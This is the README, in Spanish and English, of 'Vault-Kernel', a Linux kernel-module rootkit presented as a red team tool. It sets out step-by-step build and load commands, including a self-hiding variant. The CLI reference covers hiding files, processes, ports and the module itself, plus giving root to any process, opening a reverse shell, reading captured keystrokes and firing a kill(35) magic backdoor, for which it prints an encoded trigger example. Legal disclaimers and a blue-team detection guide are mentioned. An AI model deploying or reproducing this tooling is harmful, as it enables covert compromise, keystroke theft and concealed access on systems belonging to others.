⚠️ AVISO ÉTICO / LEGALVault-Kernel es exclusivamente para auditorías de seguridad autorizadas, entornos controlados de laboratorio, investigación académica y operaciones de red team con permiso explícito por escrito.
El uso no autorizado de este software puede violar leyes locales e internacionales. El propietario y colaboradores no se responsabilizan por el uso indebido. Tú eres el único responsable de cumplir con todas las leyes aplicables.
No hay razón legítima para cargar esto en un sistema que no te pertenece o para el que no tienes autorización.
Mapa completo: espacio de usuario → /dev/vault_kernel → espacio de kernel (los 7 módulos de hook reales de src/).
flowchart LR
subgraph User["👤 User Space"]
CLI["Vault-Kernel CLI<br/>(Go, 0 deps)"]
Payload["Payload Generator<br/>(Python)"]
end
subgraph Kernel["🧠 Kernel Space"]
LKM["LKM .ko<br/>(C, pt_regs ABI)"]
SCT["syscall table<br/>hooking"]
WP["WP bypass<br/>(CR0)"]
RCU["RCU sync"]
end
subgraph Ops["⚙️ Modules"]
FH["file_hide<br/>getdents64/getdents/<br/>openat/unlinkat/statx"]
PH["proc_hide<br/>PID filter + kill guard"]
NH["net_hide<br/>/proc/net/* read filter"]
KL["keylogger<br/>notifier chain"]
BS["backdoor<br/>kill(35) magic packet"]
PE["priv_esc<br/>cred rootify"]
SH["stealth<br/>lsmod + sysfs del"]
end
subgraph Device["💾 /dev/vault_kernel"]
IOC["ioctl interface<br/>16 commands incl. GET_STATS"]
end
CLI -->|ioctl| Device
Payload -->|stager| CLI
Device --> LKM
LKM --> SCT --> WP
SCT --> RCU
SCT --> FH
SCT --> PH
SCT --> NH
SCT --> KL
SCT --> BS
SCT --> PE
SCT --> SH
| Feature | Technique | Stealth |
|---|---|---|
| Hide Files/Dirs | Hook getdents64/getdents/openat/unlinkat/statx |
🟢 Invisible a ls, find, stat |
| Hide Processes | Filtro de PID en /proc + protección de señales |
🟢 Invisible a ps, top, htop |
| Hide Ports | Filtrado del read() de /proc/net/tcp* y udp* |
🟢 Invisible a netstat, ss |
| Kernel Keylogger | Cadena de notificadores de teclado | 🟢 Captura antes que X11/Wayland |
| Reverse Shell | call_usermodehelper() vía workqueue |
🟢 Sin ficheros en disco |
| Magic Backdoor | kill(pid, 35) con palabra + puerto codificados (hash FNV-1a) |
🟡 Sin puerto abierto |
| Instant Root | Mutación de cred propia (commit_creds) o remota (in-place) |
🟢 Root a cualquier PID |
| Hide from lsmod | list_del + kobject_del con recuperación segura |
🟢 Invisible a lsmod/sysfs |
| Live Stats | ioctl GET_STATS: versión, hooks, contadores, uptime |
🔵 Observabilidad del implante |
# Dependencias (Debian/Ubuntu)
sudo apt install build-essential linux-headers-$(uname -r) golang-go
# 1. Compilar el módulo
cd src && make
# 2. Cargar en el kernel (¡SOLO en tu laboratorio!)
sudo insmod vault_kernel.ko
# 2b. Variante sigilosa: se auto-oculta de lsmod al cargar
sudo insmod vault_kernel.ko auto_hide=1
# 3. Compilar el cliente Go
cd ../client/go && go build -ldflags="-s -w" -o vault_kernel ./cmd/vault_kernel/
# 4. Verificar
sudo ./vault_kernel status
sudo ./vault_kernel statsvault_kernel status # ¿Está cargado el módulo? (sin root)
vault_kernel status --json # El mismo chequeo en JSON (5º documento del contrato)
vault_kernel doctor # Diagnóstico completo del lab (dispositivo, ABI, hooks)
vault_kernel doctor --json # El mismo diagnóstico en JSON para scripts/jq
vault_kernel stats # Estadísticas en vivo (hooks, contadores, uptime)
vault_kernel stats --json # Las mismas estadísticas en JSON para scripting
vault_kernel watch # Vista en vivo de stats + ocultos (refresco 1 s, Ctrl-C para salir)
vault_kernel watch --once # Un solo fotograma del panel, sin códigos ANSI (para scripts)
vault_kernel watch --count 5 # Ventana FINITA: 5 fotogramas y salida limpia (para reportes)
vault_kernel give-root [pid] # Root instantáneo (por defecto: self)
vault_kernel hide-file <name> # Ocultar fichero/directorio (hide-file -- -raro para nombres con -)
vault_kernel unhide-file <name> # Revelar fichero/directorio
vault_kernel hide-pid <pid> # Ocultar proceso (kill() → ESRCH)
vault_kernel unhide-pid <pid> # Revelar proceso
vault_kernel hide-port <port> # Ocultar puerto TCP/UDP
vault_kernel unhide-port <port> # Revelar puerto
vault_kernel list # Listar todo lo oculto
vault_kernel list --json # Lo oculto en JSON ({pids, files, ports})
vault_kernel shell <ip:port> # Reverse shell vía usermodehelper
vault_kernel magic <word> # Activar backdoor de palabra mágica
vault_kernel magic-encode <word> <port> # Imprimir el kill() listo para disparar
vault_kernel keylog # Leer pulsaciones capturadas
vault_kernel keylog --follow # Stream en vivo de pulsaciones (Ctrl-C para parar)
vault_kernel keylog --follow --timestamps # Stream con marca de tiempo [HH:MM:SS] por evento
vault_kernel keylog --follow --output cap.log # Stream que TAMBIEN se guarda en fichero (0600)
vault_kernel keylog --follow --stop-after 200 # Ventana FINITA: para limpio tras 200 eventos
vault_kernel keylog-clear # Limpiar buffer del keylogger
vault_kernel capture # Bundle de evidencia: stats + ocultos + keylog en un JSON
vault_kernel capture --out ev.json # El mismo bundle escrito a fichero (0600)
vault_kernel capture --out ev.json --stdout # Fichero Y JSON en stdout (resumen → stderr, seguro para | jq)
vault_kernel hide-module # Ocultar de lsmod
vault_kernel unhide-module # Revelar en lsmod
vault_kernel reset # Limpiar TODAS las listas de ocultacion
vault_kernel version # Version del cliente y ABI
vault_kernel help # Ayuda completa (con la tabla de exit codes)💡 Autocompletado:
source completions/vault_kernel.bashen bash o instalacompletions/vault_kernel.zshen tufpathde zsh — ambos completan comandos y flags de los DOS clientes, y un test de paridad textual impide que se separen.
Ambos clientes (Go y Python) comparten el MISMO contrato de tres clases — un script
puede clasificar el fallo con $? sin parsear texto:
$? |
Clase | Ejemplos |
|---|---|---|
| 0 | Éxito | status, stats --json, capture --out ev.json |
| 1 | Error runtime | dispositivo no presente, fallo de ioctl, informe vacío, fichero no escribible |
| 2 | Error de uso | operandos que faltan/sobran, valores inválidos (hide-pid 0), precondiciones (keylog --stop-after sin --follow), comando desconocido, invocación desnuda |
$ vault_kernel hide-file a b ; echo $?
[-] Error: usage: vault_kernel hide-file <name> (unexpected argument: b)
2
$ vault_kernel hide-file secreto.txt ; echo $? # sin módulo cargado
[-] Error: cannot open /dev/vault_kernel: ... (is rootkit loaded?)
1Fijado por tests en ambos lados: TestGrammarErrorsAreUsage (Go) y
TestExitCodeContract con subprocesos reales (Python).
El backdoor combina palabra + puerto en un solo kill(). El módulo compara el hash FNV-1a-16 de la palabra; el puerto viaja en los 16 bits altos del PID:
# 1. Configurar la palabra en el módulo
sudo ./vault_kernel magic pwn
# 2. Obtener el disparador listo para usar
sudo ./vault_kernel magic-encode pwn 4444
# [*] Magic word : pwn (hash 0xBCBF)
# [*] Port : 4444
# [*] Encoded PID: 291290303
# [*] Trigger : kill -s 35 291290303
# 3. Desde la víctima, disparar la reverse shell a 127.0.0.1:4444
kill -s 35 291290303ℹ️ La señal es 35 =
SIGRTMIN+1según glibc en x86_64 (elSIGRTMINdel kernel es 32 y no coincide con el de usuario — bug corregido en v3.1).
Lo que se verifica automáticamente (sin root, sin VM):
# Todo lo no-VM de una vez (tests Go + regresión de payloads + completions)
make test
# Tests unitarios Go (ioctl layout, FNV, serialización, gramática, paridad)
cd client/go && go test ./... -v -count=1 # 46 tests
# Unittest Python (gramática argparse, contrato JSON, exit codes, watch --count)
python3 tests/python/test_cli_parsing.py # 82 tests
# Tests de regresión de payloads (13 checks: sintaxis del dropper,
# round-trip del tarball, claves XOR hostiles, gcc del C stager…)
bash tests/test_payloads.sh
# Test funcional del autocompletado bash + paridad zsh (sin paquetes)
make test-completions
# Compilación real del .ko (la hace CI contra 5.15 y 6.8; local
# contra cualquier set de headers instalado)
make -C srcLo que requiere una VM de laboratorio con el módulo cargado:
sudo insmod vault_kernel.ko
sudo bash tests/integration.sh # suite de integración end-to-endCI valida en cada push: gofmt/go vet/go build/go test, compilación
real del .ko contra los headers del runner, matriz Docker contra headers
5.15 y 6.8, shellcheck de todos los scripts, tests de payloads, test funcional de
completions y py_compile+ruff del código Python. Sin atajos: si está
verde, compila.
| Kernel | Estado | Notas |
|---|---|---|
| x86_64 ≥ 4.17 (4.17 – 7.x) | ✅ Soportado | ABI pt_regs obligatoria; class_create() adaptado (≥6.4). Verificado en CI contra 5.15 / 6.8 y localmente contra 6.1 / 7.1 (Debian) |
| x86_64 < 4.17 | ❌ Rechazado | El módulo no compila — las llamadas antiguas pasaban args directos |
| WSL2 | ❌ No soportado | Sin headers de kernel (el .ko sí se puede compilar vía Docker) |
| ARM64 | 🚧 Planificado | En el roadmap |
Este proyecto también es material de estudio defensivo. La guía
docs/DETECTION.md documenta IOC concretos del
implante (nodo /dev/vault_kernel, logs [vault_kernel], unidad de
persistencia, firma del kill(pid, 35)), comprobaciones rápidas en vivo,
verificación robusta (integridad de la syscall table, notifier chains,
forense de memoria con Volatility) y endurecimiento preventivo
(module.sig_enforce, LKRG, kptr_restrict, reglas auditd).
Si estás usando Vault-Kernel en un lab de red team, esa misma guía es la
que debería permitir al equipo azul ganar el ejercicio.
Vault-Kernel/
├── src/ # Módulo kernel (C)
│ ├── main.c # init/exit, búsqueda de syscall table, bypass WP
│ ├── hooking.c # instalación/remoción de hooks + RCU sync
│ ├── file_hide.c # hooks getdents64/getdents/openat/unlinkat/statx
│ ├── proc_hide.c # ocultación PID + guardia kill()
│ ├── net_hide.c # filtrado read() de /proc/net/*
│ ├── keylogger.c # keyboard notifier chain
│ ├── backdoor.c # reverse shell + magic packet (hash FNV-1a)
│ ├── priv_esc.c # give-root (self + PID remoto)
│ ├── stealth.c # ocultación lsmod/sysfs reversible
│ ├── ioctl.c # /dev/vault_kernel (16 ioctls)
│ ├── core.h # headers + capa compat pt_regs + constantes
│ └── Makefile
├── client/
│ ├── vault_kernel_cli.py # CLI Python (legacy, paridad con Go)
│ └── go/ # CLI Go (principal, binario único)
│ ├── cmd/vault_kernel/ # 23 comandos
│ └── internal/vaultkernel/# wrapper ioctl + render del panel + tests
├── completions/ # Autocompletado bash + zsh (ambos clientes)
├── payloads/ # Generador de payloads (Python)
├── docker/ # Build + red de laboratorio (compose único)
├── tests/
│ ├── integration.sh # Suite de integración (VM con módulo cargado)
│ ├── test_payloads.sh # Regresión de payloads (corre en cualquier sitio)
│ └── test_completions.sh # Test funcional bash + paridad zsh
├── docs/
│ ├── ADR.md # Decisiones de arquitectura
│ ├── DETECTION.md # Guía de detección para blue teams
│ ├── SCHEMAS.md # Contrato JSON (índice): stats/list/doctor/capture/status
│ ├── schemas/ # Contrato por comando (stats, list, doctor, capture, status)
│ ├── agentes/ # Informes de ronda del equipo de agentes IA
│ └── images/ # Banner + arquitectura + demo.gif + watch-panel.gif
├── CHANGELOG.md # Historial detallado v3.0 → v3.12
└── .github/workflows/ci.yml # CI (8 jobs: Go, kernel runner, kernel matrix docker 5.15/6.8, shellcheck, completions, payloads, python+tests)
Resumen de la ronda de mantenimiento — la lista completa está en CHANGELOG.md:
- Contrato de códigos de salida 0/1/2 (Go y Python):
$?distingue ahora ÉXITO de error RUNTIME (dispositivo/ioctl) y de error de USO (gramática) — la matriz estaba partida: Go salía 1 en todos los errores de gramática, y sin módulo el error de dispositivo enmascaraba el de uso (la gramática se validaba DESPUÉS de abrir el dispositivo). Python además era inconsistente consigo mismo (--timestamps→ 2,--stop-after→ 1). Fijado con subprocesos reales. - Gramática ANTES de dispositivo en Go: cada comando valida su sintaxis sin tocar
/dev/vault_kernel— cierra la deuda de la ronda 4. capturecon contexto de host: el bundle ganahostnameykernel_release(aditivos — el schema JSON se queda en 1). DÓNDE se tomó la instantánea, la primera pregunta de cualquier revisor de lab.watch --count N: ventana de observación FINITA — N fotogramas y salida limpia con la misma despedida que Ctrl-C (simétrico dekeylog --stop-after), para reportes de deriva y CI.- Subcomando
helpen Python + invocación desnuda como error de uso (usage por stderr, exit 2) en ambos clientes; el epílogo y la usage documentan la tabla de exit codes. - demo.gif regenerado con salida REAL del binario v3.12, ahora con el bloque
$?en pantalla. Suite: 46 tests Go + 82 unittest Python + 15 checks de completions + 13 de payloads.
⚠️ ETHICAL / LEGAL WARNINGVault-Kernel is exclusively for authorized security audits, controlled lab environments, academic research and red team operations with explicit written permission.
Unauthorized use of this software may violate local and international laws. The owner and contributors are not responsible for misuse. You are solely responsible for complying with all applicable laws.
Vault-Kernel is a Linux LKM rootkit engine for red team training and authorized lab work: syscall table hooking with the modern pt_regs ABI, file/process/port hiding, a kernel keylogger, a magic-packet backdoor and in-place credential escalation — controlled through a zero-dependency Go CLI over /dev/vault_kernel.
Quick start: cd src && make → sudo insmod vault_kernel.ko (lab only) → cd client/go && go build -ldflags="-s -w" -o vault_kernel ./cmd/vault_kernel/ → sudo ./vault_kernel stats.
Highlights
- Modern syscall ABI — hooks use
struct pt_regsargument extraction; the module refuses to build against pre-4.17 kernels instead of silently corrupting every syscall. - Builds everywhere ≥ 4.17 — verified against the CI Docker matrix (5.15 / 6.8) and modern Debian headers;
class_create()API adapted for 6.4+. - Fully hidden files —
getdents64/getdents/openat/unlinkat/statxare hooked, sols,find,statandlstatall come up empty. - Working magic backdoor —
kill(pid, 35)with(port << 16) | fnv1a16(word); identical FNV-1a implementation in C, Go and Python, verified by unit tests. - Real privilege escalation — self-rooting via
commit_creds(), arbitrary-PID rooting via in-placecredmutation undertask_lock(). - Live observability —
statsreports version, hooks, counters and uptime;watchrepaints it live with change annotations,watch --oncesnapshots it andwatch --count Nrenders finite windows; five JSON documents (stats,list,doctor,capture,status) for scripting, the last one usable without root;capturebundles carryhostname+kernel_releasehost context. - Finite capture windows —
keylog --follow --stop-after Nends the stream cleanly after N events;--output FILEtranscripts every event 0600;watch --count Ndoes the same for panel frames. - Exit-code contract (0/1/2) — both clients share the SAME three-class contract (0 success, 1 runtime/device error, 2 usage error), so scripts can classify failures from
$?alone; grammar is validated BEFORE the device is opened; pinned by real-subprocess tests. - One-shot teardown —
vault_kernel resetclears every hidden file, PID and port through a single ioctl. - Two completion systems — bash and zsh, textually-pinned parity by test; both cover the shared command surface.
- Honest CI — eight jobs (Go toolchain, real
.kocompilation on the runner, Docker matrix against 5.15/6.8 headers, shellcheck, functional bash-completion tests, payload regression, Python with unit tests); no masked failures.
Testing without a VM: make test runs the Go suite, the payload regression and the completion checks (46 + 13 + 15); python3 tests/python/test_cli_parsing.py adds 82 parser/contract tests. Integration tests need a lab VM with the module loaded: sudo bash tests/integration.sh.
Compatibility: x86_64 kernels ≥ 4.17, up to 7.x (class_create() API adapted). WSL2 and ARM64 are not supported. See the Spanish section above for the full feature table, command reference and compatibility matrix.
License: MIT — see LICENSE. Built for learning; use it only where you have written permission.


